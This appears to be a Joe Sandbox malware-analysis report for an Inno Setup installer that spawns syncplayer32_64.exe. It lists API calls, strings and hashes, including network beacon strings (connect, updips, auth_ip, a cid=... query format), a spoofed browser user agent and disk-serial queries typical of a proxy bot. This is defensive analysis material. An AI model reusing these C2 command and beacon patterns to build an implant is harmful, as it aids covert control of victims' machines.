Part of subcall function 00453A90: MsgWaitForMultipleObjects.USER32(00000001,00000001,00000000,000000FF,000000FF), ref: 00453ADE
Part of subcall function 00453A90: GetExitCodeProcess.KERNEL32(00000001,00000001), ref: 00453AED
Part of subcall function 00453A90: CloseHandle.KERNEL32(00000001,00453B1A,00453B13,?,00000031,00000080,00000000,?,?,00453E6B,00000080,0000003C,00000000,00453E81), ref: 00453B0D

Strings

<, xrefs: 00453DEC

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Wait$CloseCodeErrorExecuteExitHandleIdleInputLastMultipleObjectsProcessShell
String ID: <
API String ID: 35504260-4251816714
Opcode ID: 97b31b66d7951a817b2d6de982649daa37ee8876151eec3c75e593a1f405ccc7
Instruction ID: 787fbc1d59183a0c5fb09aaf4a5bdc422dd58fb57b9d9847a8159ffb0cd34ec9
Opcode Fuzzy Hash: 97b31b66d7951a817b2d6de982649daa37ee8876151eec3c75e593a1f405ccc7
Instruction Fuzzy Hash: CF215870600209ABDB11DF65D8826DE7BF8AF04396F50443AF844E7381D7789E45CB98

Function 00402584 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.KERNEL32(00496420,00000000,)), ref: 004025C7
RtlLeaveCriticalSection.KERNEL32(00496420,0040263D), ref: 00402630

Part of subcall function 004019CC: RtlInitializeCriticalSection.KERNEL32(00496420,00000000,00401A82,?,?,0040222E,00496460,00000000,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 004019E2
Part of subcall function 004019CC: RtlEnterCriticalSection.KERNEL32(00496420,00496420,00000000,00401A82,?,?,0040222E,00496460,00000000,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 004019F5
Part of subcall function 004019CC: LocalAlloc.KERNEL32(00000000,00000FF8,00496420,00000000,00401A82,?,?,0040222E,00496460,00000000,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 00401A1F
Part of subcall function 004019CC: RtlLeaveCriticalSection.KERNEL32(00496420,00401A89,00000000,00401A82,?,?,0040222E,00496460,00000000,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 00401A7C

Strings

), xrefs: 004025AE

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocInitializeLocal
String ID: )
API String ID: 2227675388-1084416617
Opcode ID: 3eb0375ff62f3d3bcca9cc60adac25dafbf9b9e3c2e27b1e4b69ca31af3a3358
Instruction ID: 5893b1754cd22d93ac955961316eccc987691ebf6da7ca014f8aac44d7effe1a
Opcode Fuzzy Hash: 3eb0375ff62f3d3bcca9cc60adac25dafbf9b9e3c2e27b1e4b69ca31af3a3358
Instruction Fuzzy Hash: 851101317042046FEB25ABB99F5A62A6AD4D795758B25087FF404F32D2D9BD8C02826C

Function 00446F54 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 64COMMON

Download Yara Rule

APIs

Part of subcall function 00403CA4: MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000400), ref: 00403CDE
Part of subcall function 00403CA4: SysAllocStringLen.OLEAUT32(?,00000000), ref: 00403CE9

SysFreeString.OLEAUT32(?), ref: 00447006

Strings

NIL Interface Exception, xrefs: 00446FA8
Unknown Method, xrefs: 00446FDF

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: String$AllocByteCharFreeMultiWide
String ID: NIL Interface Exception$Unknown Method
API String ID: 3952431833-1023667238
Opcode ID: 5ed8ca64df11c4283491e5fea0b4e4b59f3ec0874e832ef144c5ca8f91c22c85
Instruction ID: af1e206f410ba321dcc0e388bf0f2c43d0b91549fc8dbfcc01e76741634bf4e1
Opcode Fuzzy Hash: 5ed8ca64df11c4283491e5fea0b4e4b59f3ec0874e832ef144c5ca8f91c22c85
Instruction Fuzzy Hash: 4C119670A043449FDB10DFA59C52AAEBBBCEB49704F91407AF900E7681D7799D04C76A

Function 00491508 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,000000FC,?,004915D0,?,004915C4,00000000,004915AB), ref: 00491576
CloseHandle.KERNEL32(00491610,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,000000FC,?,004915D0,?,004915C4,00000000), ref: 0049158D

Part of subcall function 00491460: GetLastError.KERNEL32(00000000,004914F8,?,?,?,?), ref: 00491484

Strings

D, xrefs: 00491550

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: CloseCreateErrorHandleLastProcess
String ID: D
API String ID: 3798668922-2746444292
Opcode ID: cff36113eb571ffdf39757600e0db38582bb9462f3b465f1db440f76f75d6ad7
Instruction ID: 38782983c14ae617705f460fc8cb2d977fb0fa326e21e307fbc6215661d41f6e
Opcode Fuzzy Hash: cff36113eb571ffdf39757600e0db38582bb9462f3b465f1db440f76f75d6ad7
Instruction Fuzzy Hash: 90015EB1604248BFDB00DBA2DC42E9EBBACEB48714F52047BF505E7291D6789E048A68

Function 0042DB9C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56registryCOMMON

Download Yara Rule

APIs

RegQueryValueExA.ADVAPI32(?,Inno Setup: No Icons,00000000,00000000,00000000,00000000), ref: 0042DBB0
RegEnumValueA.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000,?,Inno Setup: No Icons,00000000,00000000,00000000), ref: 0042DBF0

Strings

Inno Setup: No Icons, xrefs: 0042DBAE

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Value$EnumQuery
String ID: Inno Setup: No Icons
API String ID: 1576479698-2016326496
Opcode ID: 0890946b5df0c49e4954d7290b96ce305c787ba9704d15fe4295c439bd8e9102
Instruction ID: 08e9f6bdc79701da45a7e076aae250b208fcb3010747ef376bcb555be2d5621c
Opcode Fuzzy Hash: 0890946b5df0c49e4954d7290b96ce305c787ba9704d15fe4295c439bd8e9102
Instruction Fuzzy Hash: F5018431B8933069F73045266D41F6B558C9B85B64F65003BFA41AA3C0D6DCDC45E26A

Function 004929DA Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 004540F0: GetCurrentProcess.KERNEL32(00000028), ref: 004540FF
Part of subcall function 004540F0: OpenProcessToken.ADVAPI32(00000000,00000028), ref: 00454105

SetForegroundWindow.USER32(?), ref: 00492A0C

Strings

Restarting Windows., xrefs: 004929E9
Not restarting Windows because Uninstall is being run from the debugger., xrefs: 00492A37

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Process$CurrentForegroundOpenTokenWindow
String ID: Not restarting Windows because Uninstall is being run from the debugger.$Restarting Windows.
API String ID: 3179053593-4147564754
Opcode ID: daf7c14ca4f5471ae0214494c117dc09e8826ad141a5ca0df6ff3ec52adfd983
Instruction ID: 8d4b9e18113a589b989377ecb0ab93b601bd92fa09e4ea3e7ddd9a7787b5675f
Opcode Fuzzy Hash: daf7c14ca4f5471ae0214494c117dc09e8826ad141a5ca0df6ff3ec52adfd983
Instruction Fuzzy Hash: 7101B1706041807BEB10E765E942B5D2BA89B5430DF90807BF800AB6D3C6BD9D49871D

Function 004718F8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 42fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00406EB8: DeleteFileA.KERNEL32(00000000,00496628,004938C1,00000000,00493916,?,?,00000005,?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000), ref: 00406EC3

MoveFileA.KERNEL32(00000000,00000000), ref: 00471956

Part of subcall function 004717A8: GetLastError.KERNEL32(00000000,00471894,?,?,?,00497140,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,0047191B,00000001), ref: 004717C9

Strings

DeleteFile, xrefs: 0047190F
MoveFile, xrefs: 00471931

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: File$DeleteErrorLastMove
String ID: DeleteFile$MoveFile
API String ID: 3195829115-139070271
Opcode ID: 6f1dd530b118ffdec8b6b992715683284b2d268c838f2fe0e703b9e756e9b43f
Instruction ID: a218362e0e1c618bd78d0cc462e6fccc332738145c669977fbc364c2a4d16106
Opcode Fuzzy Hash: 6f1dd530b118ffdec8b6b992715683284b2d268c838f2fe0e703b9e756e9b43f
Instruction Fuzzy Hash: 95F04FE010410057DF107A6E85936EA639C8F0135A710C17BBA886B3B6CA3D9D03C7AE

Function 004931D4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

Part of subcall function 00478908: FreeLibrary.KERNEL32(6FB90000,0047CD16), ref: 0047891E

Part of subcall function 004785DC: GetTickCount.KERNEL32 ref: 00478624

Part of subcall function 00455658: SendMessageA.USER32(00000000,00000B01,00000000,00000000), ref: 00455677

GetCurrentProcess.KERNEL32(?,?,?,?,?,00493B29), ref: 00493229
TerminateProcess.KERNEL32(00000000,?,?,?,?,?,00493B29), ref: 0049322F

Strings

Detected restart. Removing temporary directory., xrefs: 004931E3

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Process$CountCurrentFreeLibraryMessageSendTerminateTick
String ID: Detected restart. Removing temporary directory.
API String ID: 1717587489-3199836293
Opcode ID: a9ca6c26a2fe66df464c4db40c690410b5596c53738655dba60b4da802fa3ac0
Instruction ID: 9193214800fdf1ced63e74b88b08fdc7e56bb632d744fc38822ec3ba4b1c0f63
Opcode Fuzzy Hash: a9ca6c26a2fe66df464c4db40c690410b5596c53738655dba60b4da802fa3ac0
Instruction Fuzzy Hash: ABE0E5712486843EDA027BB6AC1692B7F5CD747B2A7A144BBF80882542C83C4814C67D

Function 00421C98 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28windowCOMMON

Download Yara Rule

APIs

SetFocus.USER32(00000000,=I,00000000,004219E4,00000000,00000000,00418568,00000000,00000001,?,?,00461DC2,00000001,00000000,00000000,0046728D), ref: 00421CBB
GetFocus.USER32 ref: 00421CC9

Strings

=I, xrefs: 00421C99

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Focus
String ID: =I
API String ID: 2734777837-2178491670
Opcode ID: 0172ff667e2d931fe0d7022b8c859497446a9db94986137f51e4a00515b9606a
Instruction ID: 6a781247274b35bf802f0d5c88fcb4425cf39f3bc7fec05fcedd95d7989a6849
Opcode Fuzzy Hash: 0172ff667e2d931fe0d7022b8c859497446a9db94986137f51e4a00515b9606a
Instruction Fuzzy Hash: ADE09A35B002205ACB1027BA6886BAB21844B64348F58957FB501EB353DD7C8C80068C

Function 00403344 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,00493D3E), ref: 0040334B
GetCommandLineA.KERNEL32(00000000,00493D3E), ref: 00403356

Strings

H6x, xrefs: 0040335B

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: CommandHandleLineModule
String ID: H6x
API String ID: 2123368496-1443523857
Opcode ID: eda79fed6bf77bdd4892e54620bb66f1b64b1a6600f4c5d74c4602cf322d3666
Instruction ID: c011565b17e2e7394f2f9db4e65d06a38ae03cc112fba3318b617fa5f9f162f2
Opcode Fuzzy Hash: eda79fed6bf77bdd4892e54620bb66f1b64b1a6600f4c5d74c4602cf322d3666
Instruction Fuzzy Hash: 66C002609012058AE750EFB6A886B152A94A751349F8244BFB104BA2E2DA7D82056FDE

Function 00454180 Relevance: 5.0, APIs: 4, Instructions: 45sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(?), ref: 0045419F
Sleep.KERNEL32(?), ref: 004541AF
GetLastError.KERNEL32 ref: 004541C2
GetLastError.KERNEL32 ref: 004541CC

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: ErrorLastSleep
String ID:
API String ID: 1458359878-0
Opcode ID: 29e118db516b8e460c2a8a501917cf661acd1d551b24bbd95d61759580f5788b
Instruction ID: a1ef1a870660e761051f2faac47f5fa7ea61035e201e112742384e0b01a5c4e3
Opcode Fuzzy Hash: 29e118db516b8e460c2a8a501917cf661acd1d551b24bbd95d61759580f5788b
Instruction Fuzzy Hash: D4F0F072A00D14674E20E99E9C8992F72DCDAE03AE714412BEC04DF303D538CCC987A8

Analysis Process: syncplayer32_64.exePID: 7112, Parent PID: 6876COMMON

Execution Graph

Execution Coverage:	12.3%
Dynamic/Decrypted Code Coverage:	72.7%
Signature Coverage:	11.1%
Total number of Nodes:	1197
Total number of Limit Nodes:	43

Executed Functions

Function 02B472AB Relevance: 74.2, APIs: 29, Strings: 13, Instructions: 659
networksleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(0000EA60), ref: 02B46708
RtlEnterCriticalSection.NTDLL(02B771E0), ref: 02B46713
RtlLeaveCriticalSection.NTDLL(02B771E0), ref: 02B46724
InternetOpenA.WININET(?), ref: 02B472B5
InternetSetOptionA.WININET(00000000,00000002,?), ref: 02B472DD
InternetSetOptionA.WININET(00000000,00000005,00001388,00000004), ref: 02B472F5
InternetSetOptionA.WININET(00000000,00000006,00001388,00000004), ref: 02B4730D
InternetOpenUrlA.WININET(00000000,?,?,000000FF,04000200), ref: 02B47336
InternetReadFile.WININET(00000000,?,00001000,?), ref: 02B47358
InternetCloseHandle.WININET(00000000), ref: 02B47378
InternetCloseHandle.WININET(00000000), ref: 02B47383
RtlEnterCriticalSection.NTDLL(02B771E0), ref: 02B473EE
RtlLeaveCriticalSection.NTDLL(02B771E0), ref: 02B473FF
_malloc.LIBCMT ref: 02B47498
RtlEnterCriticalSection.NTDLL(02B771E0), ref: 02B474AA
RtlLeaveCriticalSection.NTDLL(02B771E0), ref: 02B474B6
_malloc.LIBCMT ref: 02B4758E
_strtok.LIBCMT ref: 02B475BF
_swscanf.LIBCMT ref: 02B475D6
_strtok.LIBCMT ref: 02B475ED
_free.LIBCMT ref: 02B475F9
Sleep.KERNEL32(000007D0), ref: 02B476F1
RtlEnterCriticalSection.NTDLL(02B771E0), ref: 02B47772
RtlLeaveCriticalSection.NTDLL(02B771E0), ref: 02B47784
_sprintf.LIBCMT ref: 02B47822
RtlEnterCriticalSection.NTDLL(00000020), ref: 02B478E6
RtlLeaveCriticalSection.NTDLL(00000020), ref: 02B4791A

Strings

block, xrefs: 02B475A7
auth_ip, xrefs: 02B47563, 02B477F4
auth_swith, xrefs: 02B47537
idle, xrefs: 02B4742D, 02B4779D
Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US), xrefs: 02B46739
<htm, xrefs: 02B47391
updips, xrefs: 02B47441, 02B477D0
urls, xrefs: 02B47B36
%d;, xrefs: 02B4781C
, xrefs: 02B47A94
connect, xrefs: 02B47405, 02B47470
updurls, xrefs: 02B47455, 02B47B00
disconnect, xrefs: 02B47419, 02B47742

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: CriticalSection$Internet$EnterLeave$Option$CloseHandleOpenSleep_malloc_strtok$FileRead_free_sprintf_swscanf
String ID: $%d;$<htm$Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)$auth_ip$auth_swith$block$connect$disconnect$idle$updips$updurls$urls
API String ID: 1657546717-1839899575
Opcode ID: 9359c1e8cb69eada12a19329ff7ce0fb49ffc5f7e4e1e378c033a0d7d17937c6
Instruction ID: fee6fd98006ccbbb8d7eca65d8443df4321cf9ab13c35d56b467db51eb883b83
Opcode Fuzzy Hash: 9359c1e8cb69eada12a19329ff7ce0fb49ffc5f7e4e1e378c033a0d7d17937c6
Instruction Fuzzy Hash: 55326632648381AFE734AB24DC84BAFB7E5EF85304F14489DF9898B291DF749444EB52

Function 02B4648B Relevance: 68.5, APIs: 34, Strings: 5, Instructions: 228
memorysleeplibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlInitializeCriticalSection.NTDLL(02B771E0), ref: 02B464BA
GetModuleHandleA.KERNEL32(ntdll.dll,sprintf), ref: 02B464D1
GetProcAddress.KERNEL32(00000000), ref: 02B464DA
GetModuleHandleA.KERNEL32(ntdll.dll,strcat), ref: 02B464E9
GetProcAddress.KERNEL32(00000000), ref: 02B464EC
GetTickCount.KERNEL32 ref: 02B464F8

Part of subcall function 02B4605A: _malloc.LIBCMT ref: 02B46068

GetVersionExA.KERNEL32(02B77038), ref: 02B46525
_malloc.LIBCMT ref: 02B46551

Part of subcall function 02B52FAC: __FF_MSGBANNER.LIBCMT ref: 02B52FC3
Part of subcall function 02B52FAC: __NMSG_WRITE.LIBCMT ref: 02B52FCA
Part of subcall function 02B52FAC: RtlAllocateHeap.NTDLL(009E0000,00000000,00000001), ref: 02B52FEF

_malloc.LIBCMT ref: 02B46561
_malloc.LIBCMT ref: 02B4656C
_malloc.LIBCMT ref: 02B46577
_malloc.LIBCMT ref: 02B46582
_malloc.LIBCMT ref: 02B4658D
_malloc.LIBCMT ref: 02B46598
_malloc.LIBCMT ref: 02B465A7
GetProcessHeap.KERNEL32(00000000,00000004), ref: 02B465BE
RtlAllocateHeap.NTDLL(00000000), ref: 02B465C7
GetProcessHeap.KERNEL32(00000000,00000400), ref: 02B465D6
RtlAllocateHeap.NTDLL(00000000), ref: 02B465D9
GetProcessHeap.KERNEL32(00000000,00000400), ref: 02B465E4
RtlAllocateHeap.NTDLL(00000000), ref: 02B465E7
RtlEnterCriticalSection.NTDLL(02B771E0), ref: 02B46621
RtlLeaveCriticalSection.NTDLL(02B771E0), ref: 02B4662E
_malloc.LIBCMT ref: 02B46652
_malloc.LIBCMT ref: 02B46660
_malloc.LIBCMT ref: 02B46667
_malloc.LIBCMT ref: 02B4668D
QueryPerformanceCounter.KERNEL32(00000200), ref: 02B466A0
Sleep.KERNEL32 ref: 02B466AE
_malloc.LIBCMT ref: 02B466BA
_malloc.LIBCMT ref: 02B466C7
Sleep.KERNEL32(0000EA60), ref: 02B46708
RtlEnterCriticalSection.NTDLL(02B771E0), ref: 02B46713
RtlLeaveCriticalSection.NTDLL(02B771E0), ref: 02B46724

Strings

sprintf, xrefs: 02B464CB
ntdll.dll, xrefs: 02B464C6, 02B464D0, 02B464E1
Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US), xrefs: 02B46739
strcat, xrefs: 02B464DC
cid=%.8x&connected=%d&sport=%d&high_port=%x&low_port=%x&stream=%d&os=%d.%d.%04d&dgt=%d&dti=%d, xrefs: 02B4666F

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: _malloc$Heap$CriticalSection$Allocate$Process$AddressEnterHandleLeaveModuleProcSleep$CountCounterInitializePerformanceQueryTickVersion
String ID: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)$cid=%.8x&connected=%d&sport=%d&high_port=%x&low_port=%x&stream=%d&os=%d.%d.%04d&dgt=%d&dti=%d$ntdll.dll$sprintf$strcat
API String ID: 4273019447-2678694477
Opcode ID: de035b9effc3d549c8781877c5a20f139e5462c8b54d196c958cc87b547b3ae2
Instruction ID: 87870525aa61d042968e00c61c2b42a7c515c11a1a1309951389b14b94f15b2e
Opcode Fuzzy Hash: de035b9effc3d549c8781877c5a20f139e5462c8b54d196c958cc87b547b3ae2
Instruction Fuzzy Hash: F871C571D49350AFE3106F30AC49B1BBBE8EF85354F140899F9959B280DFB85850DFA6

Function 00401B4B Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 74
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(iphlpapi.dll), ref: 00401B5D
GetProcAddress.KERNEL32(00000000,GetAdaptersInfo), ref: 00401B74
GetAdaptersInfo.IPHLPAPI(?,00000400), ref: 00401B9D
FreeLibrary.KERNEL32(00401A3E), ref: 00401C1B

Strings

o, xrefs: 00401BF2
iphlpapi.dll, xrefs: 00401B58
GetAdaptersInfo, xrefs: 00401B6E

Memory Dump Source

Source File: 00000002.00000002.2900919351.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2900919351.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_syncplayer32_64.jbxd

Similarity

API ID: Library$AdaptersAddressFreeInfoLoadProc
String ID: GetAdaptersInfo$iphlpapi.dll$o
API String ID: 514930453-3667123677
Opcode ID: 3cd57b5b5f7382286250fec5c445be60da6c6eb2f88f5899d85352d98f18f140
Instruction ID: 744dc4a2c61c30a7a6d7e8a73864704848065a578bcb68ef5ad54dac6e152950
Opcode Fuzzy Hash: 3cd57b5b5f7382286250fec5c445be60da6c6eb2f88f5899d85352d98f18f140
Instruction Fuzzy Hash: FB21A770944109AEEF11DF65CD447EF7BB8EF41344F1440BAE504B22E1E778A985CB69

Function 02B4F9A7 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 87
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(iphlpapi.dll), ref: 02B4F9BD
GetProcAddress.KERNEL32(00000000,GetAdaptersInfo), ref: 02B4F9D6
GetAdaptersInfo.IPHLPAPI(?,?), ref: 02B4F9FB
FreeLibrary.KERNEL32(00000000), ref: 02B4FA84

Strings

GetAdaptersInfo, xrefs: 02B4F9D0
iphlpapi.dll, xrefs: 02B4F9B1

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: Library$AdaptersAddressFreeInfoLoadProc
String ID: GetAdaptersInfo$iphlpapi.dll
API String ID: 514930453-3114217049
Opcode ID: d016bef5605291d5922acd621c9090edad92e12575a7723a060d77685f979378
Instruction ID: f399ab87749bbed080509d1c4672e2a5684a238b7669c0cd6803694746999b1f
Opcode Fuzzy Hash: d016bef5605291d5922acd621c9090edad92e12575a7723a060d77685f979378
Instruction Fuzzy Hash: 0121D231E00209ABDB10DBA8D8C4AFEBBF8EF08344F1441EAD954E7650DF348A45DBA0

Function 02B4F8A3 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 100
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32(\\.\PhysicalDrive0,00000000,00000007,00000000,00000003,00000000,00000000), ref: 02B4F8C2
DeviceIoControl.KERNEL32(00000000,002D1400,?,0000000C,?,00000400,?,00000000), ref: 02B4F900
GetLastError.KERNEL32 ref: 02B4F961
CloseHandle.KERNEL32(?), ref: 02B4F998

Strings

